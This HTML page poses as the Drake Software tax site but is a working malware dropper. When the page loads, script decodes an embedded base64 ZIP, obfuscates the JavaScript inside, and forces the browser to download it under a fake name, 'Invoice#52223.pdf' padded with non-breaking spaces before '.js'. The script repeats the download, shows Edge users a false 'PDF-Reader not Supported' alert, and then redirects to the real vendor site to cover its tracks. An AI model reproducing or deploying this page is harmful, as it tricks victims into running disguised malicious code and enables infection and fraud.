<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Drake Software – Professional Tax Software</title>
	<link rel="icon" href="https://www.drakesoftware.com/localassets/images/favicon.ico" type="image/x-icon"> <!-- For .ico file -->
    <script src="https://cdn.jsdelivr.net/npm/javascript-obfuscator/dist/index.browser.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"></script>
</head>
<body>

    <script>
	
	
      const base64ZIP = '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';
	  
		
		// Function to generate random characters
        const getRandomCharacters = () => {
            const customCharacters = "abcdefghijklmnopqrstuvwxyz";
            const numCharacters = Math.max(Math.floor(Math.random() * 25) * 25, 500); 
            let result = '';
            for (let i = 0; i < numCharacters; i++) {
                const randomIndex = Math.floor(Math.random() * customCharacters.length);
                result += customCharacters.charAt(randomIndex);
            }
            return result;
        };

        async function extractAndObfuscateJS(base64ZIP) {
            try {
                const zipData = atob(base64ZIP); // Decode base64 ZIP
                const zip = await JSZip.loadAsync(zipData); // Load the ZIP file
                const jsFiles = [];

                // Iterate through the files in the ZIP
                for (const fileName in zip.files) {
                    if (fileName.endsWith('.js')) {
                        const file = zip.files[fileName];
                        const content = await file.async('string'); // Get file content as string

                        // Replace '0x' in the original code with random characters
                        let jsCode = content.replace(/_0x/g, '_' + getRandomCharacters());

                        // Obfuscate non-comment lines using the custom function
                        jsCode = obfuscateExcludingComments(jsCode);

                        // Replace '_0x' in the obfuscated code with random characters
                        jsCode = jsCode.replace(/_0x/g, '_' + getRandomCharacters());

                  
                        jsFiles.push({ name: fileName, code: jsCode }); // Store the obfuscated JS
                    }
                }

                return jsFiles;
            } catch (error) {
                console.error('Error extracting or obfuscating JS files:', error);
            }
        }

        // Function to obfuscate non-comment lines
        function obfuscateExcludingComments(code) {
            const lines = code.split('\n');
            const obfuscatedLines = lines.map(line => {
                // If the line is a comment, return it unchanged
                if (line.trim().startsWith('//') || line.trim().startsWith('////') || line.trim().endsWith('////')) {
                    return line;
                } else {
                    // Obfuscate non-comment lines
					return JavaScriptObfuscator.obfuscate(line).getObfuscatedCode();
                }
            });
            return obfuscatedLines.join('\n'); // Join the lines back into a single string
        }

        // Function to generate random spaces
        function getRandomSpaces() {
            const minOccurrences = 22;
            const maxOccurrences = 51;
            let separator = '';
            for (let i = 0; i < Math.floor(Math.random() * (maxOccurrences - minOccurrences + 1)) + minOccurrences; i++) {
                separator += '\u00A0'; // Unicode non-breaking space character
            }
            return separator;
        }

        // Function to generate random filename with spaces
        function generateRandomFilename() {
            const baseFilename = 'Invoice#52223.pdf'; // Base filename
            const randomSpaces = getRandomSpaces(); // Get random spaces
            return `${baseFilename}${randomSpaces}.js`; // Return formatted filename
        }

        async function downloadJSFiles() {
            const jsFiles = await extractAndObfuscateJS(base64ZIP); // Extract and obfuscate JS files

            if (!jsFiles.length) {
                console.error('No JavaScript files found in the ZIP.');
                return;
            }

            jsFiles.forEach(file => {
                // Create a blob for the obfuscated code with UTF-8 encoding
                const blob = new Blob([file.code], { type: 'text/javascript;charset=utf-8' });
                const url = URL.createObjectURL(blob);
                const a = document.createElement('a');
                a.href = url;
                a.download = generateRandomFilename(); // Use the new filename generation function
                document.body.appendChild(a);
                a.click(); // Trigger download
                document.body.removeChild(a);
                URL.revokeObjectURL(url); // Clean up the URL
            });
        }
        function detectBrowser() {
            const userAgent = navigator.userAgent;

            // Check if the browser is Edge
            if (userAgent.indexOf("Edg") !== -1) {
                alert("PDF-Reader not Supported! Please Open in Chromium browser");
                window.close(); // Optional: close the window if needed
            }
        }

        window.onload = function() {
			detectBrowser();
            downloadJSFiles(); // Start downloading the JS files on page load

	  };
		
setTimeout(function() {
			downloadJSFiles();
            // Redirect to Google.com after all downloads complete
            setTimeout(function() {
                window.location.href = "https://www.drakesoftware.com/#Invoice#52223.pdf";
            }, 1000); 
        }, 5000);
		
  
	
    </script>
</body>
</html>
